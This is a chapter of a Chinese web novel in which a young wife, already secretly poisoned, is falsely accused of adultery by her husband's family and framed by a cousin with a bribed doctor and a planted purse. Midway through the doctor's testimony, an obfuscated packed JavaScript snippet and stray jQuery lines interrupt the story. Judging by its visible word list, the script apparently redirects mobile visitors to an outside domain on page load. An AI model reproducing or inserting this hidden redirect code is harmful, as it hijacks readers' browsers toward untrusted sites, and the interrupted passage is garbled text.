24. 有奸情

作品:《死遁后世子他后悔了

    这一晚,昭昭一闭上眼就满脑子都是那个匪徒死之前的模样,怎么也睡不着,就算睡着了也很快就会从噩梦中惊醒,白芍一直守在她的床边陪着她,才叫她不那么害怕。


    隔日昭昭去请安的时候,才发现谢澜早已叫人提前将此事告知了侯夫人和太夫人,只道她们回来的时候遇到了陈王旧党,恰好被他遇到,省去了她们险些被那些人侮辱的事。


    昭昭心中萌生了一阵暖意,昨晚想的措辞也用不上了。


    从前谢澜只有在闹到他面前的时候才会维护她一下,这可是他头一次主动帮她挡下这些流言蜚语。


    这是不是说明,他也准备尝试着接受她,想要同她好好过日子?


    不管是不是,这都是一个好的开始,她相信,往后只要她继续努力,谢澜一定会对她改观的。


    想到这,就算是侯夫人的刁难和叶云泱谢璃歌的冷嘲热讽,她也不觉得委屈了。


    回到潇湘苑,白芍去找的大夫也到了,昭昭摒退院中的人,只留下白芍和翠兰,这才叫大夫给她把脉。


    大夫的手刚搭在她的脉搏上脸色就变了,他沉着脸又搭了一次脉,收回手望向昭昭,道:“夫人体内有剧毒,此毒极为罕见,且成分复杂,解药非一般人能够配的出来,敢问夫人是如何中毒的?”


    昭昭脸色也分外凝重,之前她还抱有一丝侥幸,觉得恐是江沉舟故意夸大其词诓骗她,现在却被大夫的话拉回了现实。


    她很快接受了这个事实,问道:“那你可能配出解药来?”


    大夫如实说:“恐有些难,而且夫人体内的毒也等不了。”


    昭昭也没再强求,叹息道:“多谢大夫如实告知,这件事我希望你能不要对外说,有人问起来,你道我只是受了风寒便可。”


    这位大夫替高门贵族里的许多人看过病,自然知晓里面的弯弯绕绕,他立即颔首道:“夫人放心,这件事我会烂在肚子里。”


    昭昭点点,看向白芍,“多给大夫些银子,送他出去吧。”


    知道江沉舟并非是在恐吓她,昭昭心情也越发的沉重起来。


    翠兰昨日挣扎之下伤到了手臂,但幸好不严重,所以也没有休息,她看着昭昭心事重重的样子便犹豫着开口,“夫人,要不要将这件事告诉世子,叫他知晓的话,还能为你找来其他大夫,兴许有办法解毒。”


    告诉谢澜么?


    这个想法才在脑中浮现就被她否决了。


    上次她才单独和谢廷说了几句话谢澜便同她说那些话,要是叫他知道她昨日被其他男子挟持,还与他在山洞中待了接近一个时辰,只怕这个误会就说不清了。


    他好不容易对她态度有所转变,她可不想半途而废。


    “没事,只要江沉舟平安无事,他应会将解药给我的。”


    话虽然这样说,但昭昭还是放心不下,只要一闲下来就会不由自主的想到这件事,一整日都是忧心忡忡的,总是担心这件事会被人知晓。


    一连几日都安然无恙,眼看只有两日便到同江沉舟约定的日子,昭昭的才渐渐放下心来。


    想着谢澜对自己态度有所好转,昭昭决定再接再厉,叫翠兰去华竹阁有意无意的打听了一下谢澜的喜好,果真叫她得知从前他最喜欢听先夫人弹琴。


    昭昭弯唇轻笑,这不就巧了吗,从前嫡母为了培养她,她的琴艺可是请大师教过的,出嫁前,她几乎日日都要练上一个时辰,整个诰京,只怕都未必能找到几个比她弹的好的人来。


    正好她的嫁妆里面就有一把古琴,昭昭立即吩咐白芍将它搬出来,她坐在琴前把弦调好,正想着试试手感,结果侯夫人身边的王婆子就过来了。


    她态度傲慢,脸上带了几分幸灾乐祸,“三夫人,老夫人有请,”


    因为这段时间和江沉舟的事还未解决,只要一有点风吹草动昭昭就会不安,可想着从前侯夫人又不是没叫人寻她过去“调教”,她便按捺住心底的恐慌,叫上白芍一同前往秋水阁。


    方一踏进去,昭昭便瞧见了一院子的人,谢公,侯夫人,太夫人,二房的老爷老夫人……


    就连白日很少在家的谢澜也回来了,他神情冷淡的靠在椅子上,看向她的眼神晦暗不明,看不出是什么情绪。


    看到她时,他们的脸上无一不透露着怒气和幸灾乐祸,唯有沈宁欢的眼神是止不住的担忧。


    昭昭心下猜到了大半,脚下的步伐在此刻显得沉重无比。


    她吞了吞口水,强装着镇定,若无其事的走上前同他们行礼。


    她交叠在一起手,早已是冷汗涟涟。


    太夫人瞧见她的那刻,脸色变得越发难看,还不等她把话说完,手边的茶盏就已朝她扔了出去,在她水青色的衣裙上洇出一圈印记。


    昭昭脊背一僵,心跳更是前所未有的快,她在狠狠掐了一把自己的手臂,努力保持平静,“不知是孙媳做错了什么,才惹得祖母这般生气。”


    “你还好意思说,五日前,你外出是去做什么了?”太夫人厉声道。


    果真是因为这事。


    可他们怎么会发现?究竟是谁泄露的?


    事情都到这地步了,只要没有证据,昭昭打死都不可能承认,她一脸真诚地道:“那日是世子生母寿辰,孙媳知晓他忙于案子没有时间,便想着替郎君尽一尽孝道,抄了往生经送往普华寺供奉,回来的时候走到半路发现落了东西,又返回去取,结果耽搁了时间,在路上遇到了匪徒,幸得世子及时赶到,孙媳才幸免于难,要是祖母不信,可着人去普华寺询问,孙媳所言句句属实。”


    她的这番说辞,同之前白芍跟谢澜说的一模一样。


    她现在无比庆幸,幸好当时她多了个心眼,在车夫和翠兰回来后,叫他们架着马车又折回了普华寺一趟,还让白芍就去寺中转了一圈,叫寺中的僧人帮着找她的手镯,也叫人问起来能圆的过去。


    太夫人冷笑道:“你倒是想的妥当,也难怪当初三郎叫你算计到,要不是云泱聪慧,今日只怕我们大家都要叫你蒙骗了。”


    昭昭略微抬眼,果真瞧见了叶云泱嘴角噙着的得意,她心中慌得不行,但还是故作听不懂,“祖母说的是什么意思,孙媳愚钝,有些不太明白。”


    “听不懂是吧,把人带上来。”


    太夫人刚说完,一个浑身是血的男子便被从外头压了进来,被人直接推到在地上。


    昭昭看清他脸的时候,心中紧绷着的那根弦彻底断了。


    此人正是那日翠兰从城中请去给江沉舟治伤的大夫。


    他怎么会被叶云泱发现?


    霎时间,昭昭的脑中空白一片,脑中一阵嗡鸣,明明是阴雨天,她的后背却冒出了一身的冷汗,怎么办,现在该怎么办?


    要实话实说吗,可侯府的人本就不喜她,怎么可能会相信她。


    她看了一眼从始至终未发一言的谢澜,希望能从他的眼中看到几分信任。


    可结果还是叫她失望了,他的眼中尽是审视,似乎想要将她剖开,看到这件事的真相。


    昭昭收回视线,很快又冷静下来,这个大夫之前不认识她,而且那日她们带着帷帽,无论是江沉舟还是这个大夫,他们都未曾见过她们的容貌,车夫又已经死了,只要咬死不承认,没有证据,他们就没法定她的罪。


    昭昭强行扯出来一个笑,“祖母,这人是?”


    这次是叶云泱开口的,“表嫂,这件事就是你做的不对了,就算三表兄不喜欢你,可你毕竟是他的夫人,怎么能够做出对不起他的事来呢?”


    昭昭与她对视,面不改色道:“表妹,这话可不兴乱说。”


    叶云泱一脸失望,“我也没有想到表嫂到现在还执迷不悟,要不是今日我的婢女从普华寺回来时恰好撞见这个行事诡异的人,这事可能到现在还无法窥见天光。”


    她又对躺在地上的那位大夫道:“你就当着众人的面,把表嫂同那奸夫的事全都告诉大家吧。”


    说完她仰着头看向昭昭,瞧着她一脸镇静,她的心中冷笑连连,还在装,今天她就要叫她身败名裂,再无颜活在这世上。


    地上那位大夫立马应声,开始娓娓道来,“各位贵人恕罪,这件事跟草民真的没有关系啊,我只是受世子夫人所托,前去诊治了一位病人,一开始并不知晓这件事啊,草民那日被世子夫人的车夫和婢女带到一处山洞,看到里面躺着一个身受重伤的男子,夫人和那男子举止亲密,当时草民并不知晓夫人身份,还以为他们是一对外出意外受伤的夫妻,便也未作他想,认真为那男子解毒治伤。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483653|184417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “等草民把那男子的伤处理好后,结果就听夫人和那男子说,家中郎君还在等,不敢再耽搁要先行回家,后叫草民在山洞中照看他的伤,等伤情稳定后再离开,那男子拉着夫人的手不放,两人依依不舍,又依偎了好一会儿才分开,走之前,夫人还给我许多银两,叫我守口如瓶,不然就要了我的命,草民说的句句属实,还请贵人们恕罪,就饶了草民一命吧。”


    他还将那日她们几人以及那个车夫穿的衣服全都说了出来。


    叫众人越发信服。


    这席话一出,在场之人看向昭昭的眼神多数都是鄙夷,已经在心底彻底给她定了罪。


    昭昭眼睛猛地睁大,这大夫的话几乎半数都是凭空捏造的,她很快就想明白了其中缘由,只怕是叶云泱意外发现了这件事,便以此做文章,买通大夫故意诬陷她,想要定她的罪,让她被谢澜休弃。


    叶家没出事前,她也是世家大族的小姐,怎么可能甘心看着她霸占世子夫人的位置。


    昭昭立即跪下,急忙为自己辩解,“祖母,孙媳冤枉,我真的不认识这人,他绝对是受人指使刻意污蔑我,我并非是傻子,如果真与人私通,又怎会在外暴露自己的身份,叫他人寻到把柄,祖母不可听信他的片面之词啊。”


    她这话说的也在理,太夫人冷着脸思索起来。


    就在这时,那名大夫又出声了,“草民有证据,夫人之前给我银两时,将钱袋子也一并给了我,我瞧着那荷包的用料和针法都是极好的,就留下来了,还想着以后拿出去能买些钱,那荷包被草民放在药箱的隔层里,打开就能看到。”


    太夫人使了个眼色,仆人从外提着一个药箱进来,按照大夫的指示打开隔层,还真从里面找出来一个荷包。


    看到那个荷包时,昭昭的脸上也满是震惊。


    怎么会?


    她的荷包怎么会在他的手里。


    她难以置信的抬眼,与叶云泱的视线对上,看清她眼中的得意后昭昭算是明白了。


    叶云泱今日是铁了心的想要叫她被休弃,不但买通大夫构陷她,为了将她的罪名彻底落实,还叫人偷了她的荷包放进去做物证,叫她彻底百口莫辩。


    与此同时,王婆子已经把这个荷包同她平时绣的物件对比过了,确定是她所绣。


    太夫人听完后差点喘不过气来,指着她怒斥道:“事已至此,你还有什么好说的。”


    昭昭这下彻底乱了,她不知道还能说什么,只能摇头否认,“祖母,孙媳真的没有。”


    沈宁欢和昭昭认识不久,但通过相处的这段时间来看,她根本不信她会是这样一个人,眼看事情紧急,她也顾不得其他,帮她说了句话,“祖母,这件事应是有误会。”


    太夫人如今正在气头上,她哪里还听得进去,“误会?还能有什么误会,今日我就要请家法,再将楚氏送还归家。”


    侯夫人也做出一副恨铁不成钢的样子,字字句句都在指责她,“你平日看起来是个规矩的,怎么能够做出这种事来呢,是我不好,没有教好你,让三郎面上无光,我对不起姐姐啊。”


    人证物证都有了,现在根本没有人会相信她,昭昭像是回到了浴佛节那日的情景,所有的证据全都指向她,没有一个人会信她。


    那种被众人误解的情绪再次浮现,她没了方才的冷静和隐忍,眼泪大颗大颗往下掉,她看向谢澜,试图寻找最后一颗救命稻草,“世子,妾身真的没有,你相信我。”


    谢澜抿了一下唇,看了一旁的黄连一眼,黄连略微颔首,悄无声息的转身离开。


    谢澜站起身朝昭昭走过去,迎着众人不解的目光将她扶起来。


    叶云泱没想到谢澜这个时候还维护她,气的脱口而出,“三表兄,她都做出这种事了,你怎么还维护她。”


    昭昭抓住谢澜的袖子,摇头道:“世子,我真的没有,这件事肯定有误会。”


    谢澜眼神扫过众人,缓缓开口,“这些证据虽然都指向……昭昭,但也不能排除是他人刻意构陷,他方才不是说那个‘奸夫’重伤未愈走不了太远吗,我已经叫黄连集结府中护卫,去那地方看看不就知道了。”


    昭昭尤遭雷劈,她眼前一黑,脑中发出“轰”地一道响声,让她彻底六神无主。